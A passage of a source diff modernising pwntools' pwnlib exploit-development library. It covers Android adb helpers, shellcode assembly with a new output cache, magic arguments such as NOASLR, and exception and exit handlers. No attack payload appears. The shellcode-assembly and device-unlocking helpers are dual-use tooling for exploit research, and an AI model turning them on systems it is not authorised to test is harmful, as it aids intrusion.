|
||||
sysv_riscv32_sigreturn = linux_riscv32_sigreturn
|
||||
sysv_riscv64_sigreturn = linux_riscv64_sigreturn
|
||||
sysv_loongarch64_sigreturn = linux_loongarch64_sigreturn
|
||||
|
||||
freebsd_i386 = sysv_i386
|
||||
freebsd_amd64 = sysv_amd64
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
|
||||
from pwnlib.adb.adb import *
|
||||
from pwnlib.adb.protocol import Client
|
||||
from pwnlib.adb.bootimg import BootImage
|
||||
|
||||
+55
-34
@@ -45,24 +45,21 @@ the :mod:`pwnlib.adb` module.
|
||||
adb.write('/data/local/tmp/foo', 'my data')
|
||||
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import datetime
|
||||
import functools
|
||||
import glob
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import six
|
||||
import stat
|
||||
import tempfile
|
||||
import time
|
||||
|
||||
import dateutil.parser
|
||||
|
||||
from pwnlib import atexit
|
||||
from pwnlib import tubes
|
||||
from pwnlib.tubes.remote import remote
|
||||
from pwnlib.context import LocalContext
|
||||
from pwnlib.context import context
|
||||
from pwnlib.device import Device
|
||||
@@ -85,7 +82,7 @@ def adb(argv, *a, **kw):
|
||||
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
|
||||
b'Linux\n'
|
||||
"""
|
||||
if isinstance(argv, (bytes, six.text_type)):
|
||||
if isinstance(argv, (bytes, str)):
|
||||
argv = [argv]
|
||||
|
||||
log.debug("$ " + ' '.join(context.adb + argv))
|
||||
@@ -123,7 +120,7 @@ def current_device(any=False):
|
||||
|
||||
>>> device = adb.current_device(any=True)
|
||||
>>> device # doctest: +ELLIPSIS
|
||||
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone_...', model='...', device='generic...')
|
||||
AdbDevice(serial='emulator-5554', type='device', port='emulator', product='sdk_...phone..._...', model='...', device='...')
|
||||
>>> device.port
|
||||
'emulator'
|
||||
"""
|
||||
@@ -259,7 +256,7 @@ class AdbDevice(Device):
|
||||
>>> device.os
|
||||
'android'
|
||||
>>> device.product # doctest: +ELLIPSIS
|
||||
'sdk_...phone_...'
|
||||
'sdk_...phone..._...'
|
||||
>>> device.serial
|
||||
'emulator-5554'
|
||||
"""
|
||||
@@ -320,11 +317,12 @@ class AdbDevice(Device):
|
||||
port = int(port)
|
||||
try:
|
||||
with remote('localhost', port, level='error') as r:
|
||||
r.recvuntil('OK')
|
||||
r.recvuntil(b'OK')
|
||||
r.recvline() # Rest of the line
|
||||
r.sendline('avd name')
|
||||
self.avd = r.recvline().strip()
|
||||
except:
|
||||
r.sendline(b'avd name')
|
||||
self._avd = r.recvlineS().strip()
|
||||
except (OSError, EOFError, PwnlibException):
|
||||
# ADB device disconnected or not responding, skip AVD name lookup
|
||||
pass
|
||||
|
||||
self._initialized = True
|
||||
@@ -366,7 +364,7 @@ class AdbDevice(Device):
|
||||
return AdbDevice(serial, type, **kwargs)
|
||||
|
||||
def __wrapped(self, function):
|
||||
"""Wrapps a callable in a scope which selects the current device."""
|
||||
"""Wraps a callable in a scope which selects the current device."""
|
||||
@functools.wraps(function)
|
||||
def wrapper(*a, **kw):
|
||||
with context.local(device=self):
|
||||
@@ -374,7 +372,7 @@ class AdbDevice(Device):
|
||||
return wrapper
|
||||
|
||||
def __getattr__(self, name):
|
||||
"""Provides scoped access to ``adb`` module propertise, in the context
|
||||
"""Provides scoped access to ``adb`` module properties, in the context
|
||||
of this device.
|
||||
|
||||
.. doctest::
|
||||
@@ -838,7 +836,7 @@ def process(argv, *a, **kw):
|
||||
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
|
||||
Linux version ...
|
||||
"""
|
||||
if isinstance(argv, (bytes, six.text_type)):
|
||||
if isinstance(argv, (bytes, str)):
|
||||
argv = [argv]
|
||||
|
||||
message = "Starting %s process %r" % ('Android', argv[0])
|
||||
@@ -880,7 +878,7 @@ def which(name, all = False, *a, **kw):
|
||||
>>> adb.which('sh')
|
||||
'/system/bin/sh'
|
||||
>>> adb.which('sh', all=True)
|
||||
['/system/bin/sh']
|
||||
['/system/bin/sh', '/vendor/bin/sh']
|
||||
|
||||
>>> adb.which('foobar') is None
|
||||
True
|
||||
@@ -888,15 +886,15 @@ def which(name, all = False, *a, **kw):
|
||||
[]
|
||||
"""
|
||||
# Unfortunately, there is no native 'which' on many phones.
|
||||
which_cmd = '''
|
||||
which_cmd = fr'''
|
||||
(IFS=:
|
||||
for directory in $PATH; do
|
||||
[ -x "$directory/{name}" ] || continue;
|
||||
echo -n "$directory/{name}\\x00";
|
||||
echo -n "$directory/{name}\x00";
|
||||
done
|
||||
)
|
||||
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
|
||||
'''.format(name=name)
|
||||
[ -x "{name}" ] && echo -n "$PWD/{name}\x00"
|
||||
'''
|
||||
|
||||
which_cmd = which_cmd.strip()
|
||||
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
|
||||
@@ -988,7 +986,7 @@ def proc_exe(pid):
|
||||
:skipif: skip_android
|
||||
|
||||
>>> adb.proc_exe(1)
|
||||
b'/init'
|
||||
b'/system/bin/init'
|
||||
"""
|
||||
with context.quiet:
|
||||
io = process(['realpath','/proc/%d/exe' % pid])
|
||||
@@ -1119,7 +1117,7 @@ def unlock_bootloader():
|
||||
if 'unlocked: yes' not in unlocked:
|
||||
log.error("Unlock failed")
|
||||
|
||||
class Kernel(object):
|
||||
class Kernel:
|
||||
_kallsyms = None
|
||||
|
||||
@property
|
||||
@@ -1194,7 +1192,7 @@ class Kernel(object):
|
||||
'Nexus 7': 'oem uart-on',
|
||||
}
|
||||
|
||||
with log.waitfor('Enabling kernel UART'):
|
||||
with log.waitfor('Enabling kernel UART') as w:
|
||||
|
||||
if model not in known_commands:
|
||||
log.error("Device UART is unsupported.")
|
||||
@@ -1229,7 +1227,7 @@ class Kernel(object):
|
||||
|
||||
kernel = Kernel()
|
||||
|
||||
class Property(object):
|
||||
class Property:
|
||||
def __init__(self, name=None):
|
||||
# Need to avoid overloaded setattr() so we go through __dict__
|
||||
self.__dict__['_name'] = name
|
||||
@@ -1263,7 +1261,7 @@ class Property(object):
|
||||
>>> adb.properties.ro.build.version.sdk == "24"
|
||||
True
|
||||
"""
|
||||
if isinstance(other, six.string_types):
|
||||
if isinstance(other, str):
|
||||
return str(self) == other
|
||||
return super(Property, self).__eq__(other)
|
||||
|
||||
@@ -1275,8 +1273,32 @@ properties = Property()
|
||||
|
||||
def _build_date():
|
||||
"""Returns the build date in the form YYYY-MM-DD as a string"""
|
||||
|
||||
# Use ro.build.date.utc (integer epoch seconds) which is set by the
|
||||
# AOSP build system and available on all standard Android devices.
|
||||
# This avoids ro.build.date which is locale-dependent and can contain
|
||||
# non-ASCII characters that dateutil cannot parse. See #2513.
|
||||
utc = getprop('ro.build.date.utc')
|
||||
if utc and utc.strip().isdigit():
|
||||
try:
|
||||
as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), tz=datetime.timezone.utc)
|
||||
return as_datetime.strftime('%Y-%b-%d')
|
||||
except (OSError, OverflowError, ValueError):
|
||||
pass
|
||||
|
||||
# Fallback for non-standard builds missing ro.build.date.utc.
|
||||
as_string = getprop('ro.build.date')
|
||||
as_datetime = dateutil.parser.parse(as_string)
|
||||
if not as_string:
|
||||
return ''
|
||||
try:
|
||||
import dateutil.parser
|
||||
except ImportError:
|
||||
log.exception("dateutil is required to parse ro.build.date since ro.build.date.utc is missing. Please install it with 'pip install python-dateutil'")
|
||||
|
||||
try:
|
||||
as_datetime = dateutil.parser.parse(as_string)
|
||||
except (ValueError, OverflowError):
|
||||
return as_string
|
||||
return as_datetime.strftime('%Y-%b-%d')
|
||||
|
||||
def find_ndk_project_root(source):
|
||||
@@ -1365,7 +1387,7 @@ def compile(source):
|
||||
>>> filename = adb.compile(temp)
|
||||
>>> sent = adb.push(filename, "/data/local/tmp")
|
||||
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
|
||||
b'... /system/lib64/libc.so\n...'
|
||||
b'... /system/lib64/libc++.so\n...'
|
||||
"""
|
||||
|
||||
ndk_build = misc.which('ndk-build')
|
||||
@@ -1424,7 +1446,7 @@ def compile(source):
|
||||
|
||||
return output[0]
|
||||
|
||||
class Partition(object):
|
||||
class Partition:
|
||||
def __init__(self, path, name, blocks=0):
|
||||
self.path = path
|
||||
self.name = name
|
||||
@@ -1476,7 +1498,7 @@ def readlink(path):
|
||||
|
||||
return path.decode()
|
||||
|
||||
class Partitions(object):
|
||||
class Partitions:
|
||||
"""Enable access to partitions
|
||||
|
||||
Example:
|
||||
@@ -1555,7 +1577,7 @@ def install(apk, *arguments):
|
||||
This is a wrapper around 'pm install', which backs 'adb install'.
|
||||
|
||||
Arguments:
|
||||
apk(str): Path to the APK to intall (e.g. ``'foo.apk'``)
|
||||
apk(str): Path to the APK to install (e.g. ``'foo.apk'``)
|
||||
arguments: Supplementary arguments to 'pm install',
|
||||
e.g. ``'-l', '-g'``.
|
||||
"""
|
||||
@@ -1563,9 +1585,9 @@ def install(apk, *arguments):
|
||||
log.error("APK must have .apk extension")
|
||||
|
||||
basename = os.path.basename(apk)
|
||||
target_path = '/data/local/tmp/{}.apk'.format(basename)
|
||||
target_path = f'/data/local/tmp/{basename}.apk'
|
||||
|
||||
with log.progress("Installing APK {}".format(basename)) as p:
|
||||
with log.progress(f"Installing APK {basename}") as p:
|
||||
with context.quiet:
|
||||
p.status('Copying APK to device')
|
||||
push(apk, target_path)
|
||||
@@ -1586,7 +1608,7 @@ def uninstall(package, *arguments):
|
||||
package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``)
|
||||
arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``.
|
||||
"""
|
||||
with log.progress("Uninstalling package {}".format(package)):
|
||||
with log.progress(f"Uninstalling package {package}"):
|
||||
with context.quiet:
|
||||
return process(['pm','uninstall',package] + list(arguments)).recvall()
|
||||
|
||||
@@ -1604,4 +1626,3 @@ def version():
|
||||
"""Returns rthe platform version as a tuple."""
|
||||
prop = getprop('ro.build.version.release')
|
||||
return [int(v) for v in prop.split('.')]
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
from __future__ import division
|
||||
|
||||
import ctypes
|
||||
|
||||
BOOT_MAGIC = b"ANDROID!"
|
||||
@@ -35,7 +33,7 @@ class boot_img_hdr(ctypes.Structure):
|
||||
('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
|
||||
]
|
||||
|
||||
class BootImage(object):
|
||||
class BootImage:
|
||||
def __init__(self, data):
|
||||
self.data = data
|
||||
self.header = boot_img_hdr.from_buffer_copy(data)
|
||||
|
||||
@@ -1,10 +1,6 @@
|
||||
from __future__ import unicode_literals
|
||||
from __future__ import division
|
||||
|
||||
import ctypes
|
||||
import io
|
||||
import os
|
||||
import six
|
||||
import sys
|
||||
|
||||
from pwnlib.log import getLogger
|
||||
@@ -27,7 +23,7 @@ class bootloader_images_header(ctypes.Structure):
|
||||
|
||||
BOOTLDR_MAGIC = b'BOOTLDR!'
|
||||
|
||||
class BootloaderImage(object):
|
||||
class BootloaderImage:
|
||||
def __init__(self, data):
|
||||
"""Android Bootloader image
|
||||
|
||||
@@ -65,7 +61,7 @@ class BootloaderImage(object):
|
||||
Returns:
|
||||
Contents of the image.
|
||||
"""
|
||||
if isinstance(index_or_name, six.integer_types):
|
||||
if isinstance(index_or_name, int):
|
||||
index = index_or_name
|
||||
else:
|
||||
for i in range(len(self.img_info)):
|
||||
|
||||
+10
-4
@@ -17,7 +17,10 @@ The easiest example is to enable more verbose debugging. Just set ``DEBUG``.
|
||||
These arguments are automatically extracted, regardless of their name, and
|
||||
exposed via :mod:`pwnlib.args.args`, which is exposed as the global variable
|
||||
:data:`args`. Arguments which ``pwntools`` reserves internally are not exposed
|
||||
this way.
|
||||
this way. These reserved arguments (such as ``DEBUG`` and ``NOASLR``) instead
|
||||
adjust :data:`pwnlib.context.context`, so their effect is read from ``context``
|
||||
(e.g. ``context.log_level``, ``context.aslr``) rather than from ``args`` --
|
||||
``args.NOASLR`` is always the empty string.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
@@ -48,9 +51,6 @@ The full list of supported "magic arguments" and their effects are listed
|
||||
below.
|
||||
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import collections
|
||||
import logging
|
||||
import os
|
||||
@@ -159,6 +159,11 @@ def STDERR(v):
|
||||
"""Sends logging to ``stderr`` by default, instead of ``stdout``"""
|
||||
context.log_console = sys.stderr
|
||||
|
||||
def LOCAL_LIBCDB(v):
|
||||
"""Sets path to local libc-database via ``context.local_libcdb``, e.g.
|
||||
``LOCAL_LIBCDB='/path/to/libc-databse'``"""
|
||||
context.local_libcdb = v
|
||||
|
||||
hooks = {
|
||||
'LOG_LEVEL': LOG_LEVEL,
|
||||
'LOG_FILE': LOG_FILE,
|
||||
@@ -170,6 +175,7 @@ hooks = {
|
||||
'NOASLR': NOASLR,
|
||||
'NOPTRACE': NOPTRACE,
|
||||
'STDERR': STDERR,
|
||||
'LOCAL_LIBCDB': LOCAL_LIBCDB,
|
||||
}
|
||||
|
||||
def initialize():
|
||||
|
||||
+108
-31
@@ -1,4 +1,3 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
r"""
|
||||
Utilities for assembling and disassembling code.
|
||||
|
||||
@@ -39,9 +38,6 @@ Disassembly
|
||||
' 0: b8 0b 00 00 00 mov eax, 0xb'
|
||||
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import errno
|
||||
import os
|
||||
import platform
|
||||
@@ -59,6 +55,10 @@ from pwnlib import shellcraft
|
||||
from pwnlib.context import LocalContext
|
||||
from pwnlib.context import context
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.util.fiddling import hexstr
|
||||
from pwnlib.util.hashes import sha1sumhex
|
||||
from pwnlib.util.packing import _encode
|
||||
from pwnlib.version import __version__
|
||||
|
||||
log = getLogger(__name__)
|
||||
|
||||
@@ -130,11 +130,10 @@ def print_binutils_instructions(util, context):
|
||||
if packages:
|
||||
instructions = '$ sudo apt-get install %s' % packages[0]
|
||||
|
||||
log.error("""
|
||||
Could not find %(util)r installed for %(context)s
|
||||
log.error(f"""\
|
||||
Could not find {util!r} installed for {context}
|
||||
Try installing binutils for this architecture:
|
||||
%(instructions)s
|
||||
""".strip() % locals())
|
||||
{instructions}""")
|
||||
|
||||
|
||||
def check_binutils_version(util):
|
||||
@@ -167,6 +166,8 @@ def which_binutils(util, check_version=False):
|
||||
'.../bin/arm-...-as'
|
||||
>>> which_binutils('as', arch='powerpc') #doctest: +ELLIPSIS
|
||||
'.../bin/powerpc...-as'
|
||||
>>> which_binutils('as', arch='mips', endianness='little') #doctest: +ELLIPSIS
|
||||
'.../bin/mipsel...-as'
|
||||
>>> which_binutils('as', arch='msp430') #doctest: +SKIP
|
||||
...
|
||||
Traceback (most recent call last):
|
||||
@@ -175,28 +176,45 @@ def which_binutils(util, check_version=False):
|
||||
"""
|
||||
arch = context.arch
|
||||
|
||||
# Handle endianness-specific naming for mips/mips64
|
||||
arch = {
|
||||
('mips', 'little'): 'mipsel',
|
||||
('mips64', 'little'): 'mips64el',
|
||||
}.get((arch, context.endianness), arch)
|
||||
|
||||
# Fix up pwntools vs Debian triplet naming, and account
|
||||
# for 'thumb' being its own pwntools architecture.
|
||||
arches = [arch] + {
|
||||
aliases = {
|
||||
'thumb': ['arm', 'aarch64'],
|
||||
'i386': ['x86_64', 'amd64'],
|
||||
'i686': ['x86_64', 'amd64'],
|
||||
'amd64': ['x86_64', 'i386'],
|
||||
'mips64': ['mips'],
|
||||
'powerpc64': ['powerpc'],
|
||||
'sparc64': ['sparc'],
|
||||
'riscv32': ['riscv32', 'riscv64', 'riscv'],
|
||||
'riscv64': ['riscv64', 'riscv32', 'riscv'],
|
||||
'amd64': ['x86_64'],
|
||||
'loongarch64': ['loong64'],
|
||||
}.get(arch, [])
|
||||
|
||||
# Some binutils can support multiple architectures. Try them as fallbacks.
|
||||
fallback_arches = {
|
||||
'i386': ['x86_64', 'amd64'],
|
||||
'amd64': ['i386'],
|
||||
'arm': ['aarch64'],
|
||||
'mips': ['mipsel'],
|
||||
'mipsel': ['mips'],
|
||||
'mips64': ['mips64el', 'mips', 'mipsel'],
|
||||
'mips64el': ['mips64', 'mipsel', 'mips'],
|
||||
'powerpc64': ['powerpc'],
|
||||
'sparc64': ['sparc'],
|
||||
'riscv32': ['riscv64', 'riscv'],
|
||||
'riscv64': ['riscv32', 'riscv'],
|
||||
}.get(arch, [])
|
||||
arches = [arch] + aliases + fallback_arches
|
||||
|
||||
# If one of the candidate architectures matches the native
|
||||
# architecture, use that as a last resort.
|
||||
# architecture, use that as a last resort before trying fallbacks.
|
||||
machine = platform.machine()
|
||||
machine = 'i386' if machine == 'i686' else machine
|
||||
try:
|
||||
with context.local(arch = machine):
|
||||
if context.arch in arches:
|
||||
arches.append(None)
|
||||
arches = [arch] + aliases + [None] + fallback_arches
|
||||
except AttributeError:
|
||||
log.warn_once("Your local binutils won't be used because architecture %r is not supported." % machine)
|
||||
|
||||
@@ -206,6 +224,11 @@ def which_binutils(util, check_version=False):
|
||||
if platform.system() == 'Darwin':
|
||||
utils = ['g'+util, util]
|
||||
|
||||
if platform.system() == 'Windows':
|
||||
utils = [util + '.exe']
|
||||
|
||||
# Try the explicit tools for the target architecture first,
|
||||
# then the native one optionally, then fallbacks.
|
||||
for arch in arches:
|
||||
for gutil in utils:
|
||||
# e.g. objdump
|
||||
@@ -220,7 +243,7 @@ def which_binutils(util, check_version=False):
|
||||
'%s-%s' % (arch, gutil)]
|
||||
|
||||
for pattern in patterns:
|
||||
for dir in environ['PATH'].split(':'):
|
||||
for dir in environ['PATH'].split(os.pathsep):
|
||||
for res in sorted(glob(path.join(dir, pattern))):
|
||||
if check_version:
|
||||
ver = check_binutils_version(res)
|
||||
@@ -230,7 +253,7 @@ def which_binutils(util, check_version=False):
|
||||
# No dice!
|
||||
print_binutils_instructions(util, context)
|
||||
|
||||
util_versions = defaultdict(tuple)
|
||||
util_versions: defaultdict[str, tuple[int, ...]] = defaultdict(tuple)
|
||||
|
||||
def _assembler():
|
||||
gas, version = which_binutils('as', check_version=True)
|
||||
@@ -267,8 +290,11 @@ def _assembler():
|
||||
'ia64': [gas, '-m%ce' % context.endianness[0]],
|
||||
|
||||
# riscv64-unknown-elf-as supports riscv32 as well as riscv64
|
||||
'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'],
|
||||
'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'],
|
||||
'riscv32': [gas, '-march=rv32gv_zba_zbb_zbs', '-mabi=ilp32'],
|
||||
'riscv64': [gas, '-march=rv64gv_zba_zbb_zbs', '-mabi=lp64'],
|
||||
|
||||
# loongarch64 supports none of -64, -EB, -EL or -march
|
||||
'loongarch64' : [gas],
|
||||
}
|
||||
|
||||
assembler = assemblers.get(context.arch, [gas])
|
||||
@@ -370,6 +396,7 @@ def _bfdname():
|
||||
'powerpc64' : 'elf64-powerpc',
|
||||
'riscv32' : 'elf%d-%sriscv' % (context.bits, E),
|
||||
'riscv64' : 'elf%d-%sriscv' % (context.bits, E),
|
||||
'loongarch64' : 'elf%d-loongarch' % context.bits,
|
||||
'vax' : 'elf32-vax',
|
||||
's390' : 'elf%d-s390' % context.bits,
|
||||
'sparc' : 'elf32-sparc',
|
||||
@@ -394,6 +421,7 @@ def _bfdarch():
|
||||
'thumb': 'arm',
|
||||
'riscv32': 'riscv',
|
||||
'riscv64': 'riscv',
|
||||
'loongarch64': 'loongarch64'
|
||||
}
|
||||
|
||||
if arch in convert:
|
||||
@@ -457,15 +485,20 @@ def cpp(shellcode):
|
||||
>>> cpp("SYS_setresuid", os = "freebsd")
|
||||
'311\n'
|
||||
"""
|
||||
if platform.system() == 'Windows':
|
||||
cpp = which_binutils('cpp')
|
||||
else:
|
||||
cpp = 'cpp'
|
||||
|
||||
code = _include_header() + shellcode
|
||||
cmd = [
|
||||
'cpp',
|
||||
cpp,
|
||||
'-Wno-unused-command-line-argument',
|
||||
'-C',
|
||||
'-nostdinc',
|
||||
'-undef',
|
||||
'-P',
|
||||
'-I' + _incdir,
|
||||
'/dev/stdin'
|
||||
]
|
||||
return _run(cmd, code).strip('\n').rstrip() + '\n'
|
||||
|
||||
@@ -607,8 +640,7 @@ def make_elf(data,
|
||||
assembler = _assembler()
|
||||
linker = _linker()
|
||||
code = _arch_header()
|
||||
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
|
||||
code += '\n'
|
||||
code += f'.string {hexstr(data)}\n'
|
||||
|
||||
log.debug("Building ELF:\n" + code)
|
||||
|
||||
@@ -676,7 +708,7 @@ def make_macho(data, is_shellcode=False):
|
||||
if is_shellcode:
|
||||
code += cpp(data)
|
||||
else:
|
||||
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
|
||||
code += f'.string {hexstr(data)}\n'
|
||||
|
||||
log.debug('Assembling\n%s' % code)
|
||||
|
||||
@@ -751,8 +783,23 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
|
||||
b'0@*\x00'
|
||||
>>> asm("la %r0, 42", arch = 's390', bits=64)
|
||||
b'A\x00\x00*'
|
||||
|
||||
The output is cached:
|
||||
|
||||
>>> start = time.time()
|
||||
>>> asm("lea rax, [rip+0]", arch = 'amd64', cache_dir = None) # force uncached time
|
||||
b'H\x8d\x05\x00\x00\x00\x00'
|
||||
>>> uncached_time = time.time() - start
|
||||
>>> asm("lea rax, [rip+0]", arch = 'amd64') # cache it
|
||||
b'H\x8d\x05\x00\x00\x00\x00'
|
||||
>>> start = time.time()
|
||||
>>> asm("lea rax, [rip+0]", arch = 'amd64')
|
||||
b'H\x8d\x05\x00\x00\x00\x00'
|
||||
>>> cached_time = time.time() - start
|
||||
>>> uncached_time > cached_time
|
||||
True
|
||||
"""
|
||||
result = ''
|
||||
result = b''
|
||||
|
||||
assembler = _assembler()
|
||||
linker = _linker()
|
||||
@@ -763,6 +810,30 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
|
||||
|
||||
log.debug('Assembling\n%s' % code)
|
||||
|
||||
cache_file = None
|
||||
if context.cache_dir:
|
||||
cache_dir = os.path.join(context.cache_dir, 'asm-cache')
|
||||
if not os.path.isdir(cache_dir):
|
||||
os.makedirs(cache_dir)
|
||||
|
||||
# Include the context in the hash in addition to the shellcode
|
||||
hash_params = f'{vma}_{extract}_{shared}_{__version__}'
|
||||
fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy))
|
||||
asm_hash = sha1sumhex(fingerprint_params)
|
||||
cache_file = os.path.join(cache_dir, asm_hash)
|
||||
if os.path.exists(cache_file):
|
||||
log.debug('Using cached assembly output from %r', cache_file)
|
||||
if extract:
|
||||
with open(cache_file, 'rb') as f:
|
||||
return f.read()
|
||||
|
||||
# Create a temporary copy of the cached file to avoid modification.
|
||||
tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-')
|
||||
atexit.register(shutil.rmtree, tmpdir)
|
||||
step3 = os.path.join(tmpdir, 'step3')
|
||||
shutil.copy(cache_file, step3)
|
||||
return step3
|
||||
|
||||
tmpdir = tempfile.mkdtemp(prefix = 'pwn-asm-')
|
||||
step1 = path.join(tmpdir, 'step1')
|
||||
step2 = path.join(tmpdir, 'step2')
|
||||
@@ -805,11 +876,13 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
|
||||
universal_newlines = True
|
||||
).strip()
|
||||
if extract and len(relocs.split('\n')) > 1:
|
||||
log.error('Shellcode contains relocations:\n%s' % relocs)
|
||||
log.warn('Shellcode contains relocations:\n%s' % relocs)
|
||||
else:
|
||||
shutil.copy(step2, step3)
|
||||
|
||||
if not extract:
|
||||
if cache_file is not None:
|
||||
shutil.copy(step3, cache_file)
|
||||
return step3
|
||||
|
||||
_run(objcopy + [step3, step4])
|
||||
@@ -823,6 +896,10 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
|
||||
else:
|
||||
atexit.register(lambda: shutil.rmtree(tmpdir))
|
||||
|
||||
if cache_file is not None and result != b'':
|
||||
with open(cache_file, 'wb') as f:
|
||||
f.write(result)
|
||||
|
||||
return result
|
||||
|
||||
@LocalContext
|
||||
@@ -855,8 +932,8 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
|
||||
0: b8 17 00 00 00 mov eax, 0x17
|
||||
>>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
|
||||
0: 48 c7 c0 17 00 00 00 mov rax, 0x17
|
||||
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
|
||||
0: e51f0004 ldr r0, [pc, #-4] ; 0x4
|
||||
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm')) # doctest: +ELLIPSIS
|
||||
0: e51f0004 ldr r0, [pc, #-4] ...
|
||||
4: 00900052 addseq r0, r0, r2, asr r0
|
||||
>>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
|
||||
0: f04f 0005 mov.w r0, #5
|
||||
|
||||
+32
-16
@@ -2,12 +2,11 @@
|
||||
Analogous to atexit, this module allows the programmer to register functions to
|
||||
be run if an unhandled exception occurs.
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import sys
|
||||
import threading
|
||||
import traceback
|
||||
from types import TracebackType
|
||||
from typing import Any, Callable, ParamSpec, TypeVar
|
||||
|
||||
from pwnlib.context import context
|
||||
|
||||
@@ -15,9 +14,12 @@ __all__ = ['register', 'unregister']
|
||||
|
||||
_lock = threading.Lock()
|
||||
_ident = 0
|
||||
_handlers = {}
|
||||
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
|
||||
|
||||
def register(func, *args, **kwargs):
|
||||
_P = ParamSpec('_P')
|
||||
_R = TypeVar('_R')
|
||||
|
||||
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
|
||||
"""register(func, *args, **kwargs)
|
||||
|
||||
Registers a function to be called when an unhandled exception occurs. The
|
||||
@@ -43,10 +45,24 @@ def register(func, *args, **kwargs):
|
||||
actual exception-handler. The exception-handler can then be unregistered
|
||||
with::
|
||||
|
||||
atexception.unregister(handler)
|
||||
ident = atexception.register(handler)
|
||||
atexception.unregister(ident)
|
||||
|
||||
This function is thread safe.
|
||||
|
||||
>>> def handler(a, b):
|
||||
... print("Exception handler", a, b)
|
||||
>>> ident = atexception.register(handler, 13, 37)
|
||||
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
Exception: Unexpected error
|
||||
Exception handler 13 37
|
||||
>>> atexception.unregister(ident)
|
||||
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
Exception: Unexpected error
|
||||
"""
|
||||
global _ident
|
||||
with _lock:
|
||||
@@ -55,16 +71,16 @@ def register(func, *args, **kwargs):
|
||||
_handlers[ident] = (func, args, kwargs, vars(context))
|
||||
return ident
|
||||
|
||||
def unregister(func):
|
||||
"""unregister(func)
|
||||
def unregister(ident: int) -> None:
|
||||
"""unregister(ident)
|
||||
|
||||
Remove `func` from the collection of registered functions. If `func` isn't
|
||||
registered this is a no-op.
|
||||
Remove the exception-handler identified by `ident` from the list of registered
|
||||
handlers. If `ident` isn't registered this is a no-op.
|
||||
"""
|
||||
if func in _handlers:
|
||||
del _handlers[func]
|
||||
if ident in _handlers:
|
||||
del _handlers[ident]
|
||||
|
||||
def _run_handlers():
|
||||
def _run_handlers() -> None:
|
||||
"""_run_handlers()
|
||||
|
||||
Run registered handlers. They run in the reverse order of which they were
|
||||
@@ -86,12 +102,12 @@ def _run_handlers():
|
||||
# extract the current exception and rewind the traceback to where it
|
||||
# originated
|
||||
typ, val, tb = sys.exc_info()
|
||||
traceback.print_exception(typ, val, tb.tb_next)
|
||||
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
|
||||
|
||||
# we rely on the existing excepthook to print exceptions
|
||||
_oldhook = getattr(sys, 'excepthook', None)
|
||||
|
||||
def _newhook(typ, val, tb):
|
||||
def _newhook(typ: type[BaseException], val: BaseException, tb: TracebackType | None) -> None:
|
||||
"""_newhook(typ, val, tb)
|
||||
|
||||
Our excepthook replacement. First the original hook is called to print the
|
||||
@@ -99,7 +115,7 @@ def _newhook(typ, val, tb):
|
||||
"""
|
||||
if _oldhook:
|
||||
_oldhook(typ, val, tb)
|
||||
if _run_handlers:
|
||||
if _handlers:
|
||||
_run_handlers()
|
||||
|
||||
sys.excepthook = _newhook
|
||||
+12
-18
@@ -7,13 +7,11 @@ this replacement module also defines :func:`unregister`.
|
||||
This module also fixes a the issue that exceptions raised by an exit handler is
|
||||
printed twice when the standard :mod:`atexit` is used.
|
||||
"""
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import sys
|
||||
import threading
|
||||
import traceback
|
||||
import atexit as std_atexit
|
||||
from typing import Any, Callable, ParamSpec, TypeVar
|
||||
|
||||
from pwnlib.context import context
|
||||
|
||||
@@ -21,9 +19,12 @@ __all__ = ['register', 'unregister']
|
||||
|
||||
_lock = threading.Lock()
|
||||
_ident = 0
|
||||
_handlers = {}
|
||||
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
|
||||
|
||||
